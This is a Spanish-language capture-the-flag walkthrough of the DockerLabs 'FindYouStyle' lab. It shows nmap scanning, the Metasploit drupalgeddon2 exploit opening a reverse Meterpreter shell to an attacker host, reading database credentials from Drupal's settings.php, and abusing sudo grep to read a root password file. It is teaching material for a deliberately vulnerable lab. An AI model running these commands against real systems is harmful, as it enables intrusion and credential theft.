FindYouStyle DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip findyoustyle.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh findyoustyle.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 09:37 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000028s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Welcome to Find your own Style | Find your own Style
|_http-server-header: Apache/2.4.25 (Debian)
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips/ /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.71 seconds
Si entramos en la pagina veremos que es un Software
Drupal
por lo que puede tener un exploit
veremos a ver que version tiene.
whatweb http://<IP>/
Info:
http://172.17.0.2 [200 OK] Apache[2.4.25], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[172.17.0.2], MetaGenerator[Drupal 8 (https://www.drupal.org)], PHP[7.2.3], PoweredBy[-block], Script, Title[Welcome to Find your own Style | Find your own Style], UncommonHeaders[x-drupal-dynamic-cache,x-content-type-options,x-generator,x-drupal-cache], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.2.3], X-UA-Compatible[IE=edge]
Escalate user www-data
No vemos una version en especifica, por lo que vamos a probar a utilizar metasploit
para ver si algun exploit
funciona:
msfconsole -q
Si buscamos un exploit para drupal
veremos que este funciona:
use exploit/unix/webapp/drupal_drupalgeddon2
Lo configuramos:
set LHOST <IP_ATTACKER>
set LPORT <PORT>
set RHOSTS <IP_VICTIM>
exploit
Info:
[*] Started reverse TCP handler on 192.168.120.128:7777
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.120.128:7777 -> 172.17.0.2:38468) at 2025-01-17 09:47:59 -0500
meterpreter > getuid
Server username: www-data
Vemos que obtendremos una shell como el usuario www-data
.
Escalate user ballenita
Si listamos los usuarios con una bash
veremos los siguientes:
cat /etc/passwd | grep "/bin/bash"
Info:
root:x:0:0:root:/root:/bin/bash
ballenita:x:1000:1000:ballenita,,,:/home/ballenita:/bin/bash
Vemos el usuario ballenita
, si nos vamos al siguiente directorio:
cd /var/www/html/sites/default
Vemos un archivo de configuracion tipico de drupal
donde suele tener credeciales de la pagina:
cat settings.php
Info:
@code
* $databases['default']['default'] = array (
* 'database' => 'database_under_beta_testing', // Mensaje del sysadmin, no se usar sql y petó la base de datos jiji xd
* 'username' => 'ballenita',
* 'password' => 'ballenitafeliz', //Cuidadito cuidadín pillin
* 'host' => 'localhost',
* 'port' => '3306',
* 'driver' => 'mysql',
* 'prefix' => '',
* 'collation' => 'utf8mb4_general_ci',
* );
* @endcode
Vemos una parte interesante, por lo que vamos a probar la contraseña que pone como ballenitafeliz
de la siguiente forma:
su ballenita
Metemos como contraseña ballenitafeliz
y veremos que somo dicho usuario.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ballenita on 9421cefb0a55:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ballenita may run the following commands on 9421cefb0a55:
(root) NOPASSWD: /bin/ls, /bin/grep
Vemos que podemos utilizar el binario grep
y ls
, como el usuario root
, por lo que haremos lo siguiente:
Si listamos la carpeta de root
veremos lo siguiente:
sudo ls /root
Info:
secretitomaximo.txt
Por lo que podremos leer el archivo con grep
de la siguiente forma:
LFILE=/root/secretitomaximo.txt
sudo grep '' $LFILE
Info:
nobodycanfindthispasswordrootrocks
Puede ser que sea la contraseña de root
.
su root
Metemos como contraseña nobodycanfindthispasswordrootrocks
y veremos que ya seremos root
, por lo que habremos terminado.
Last updated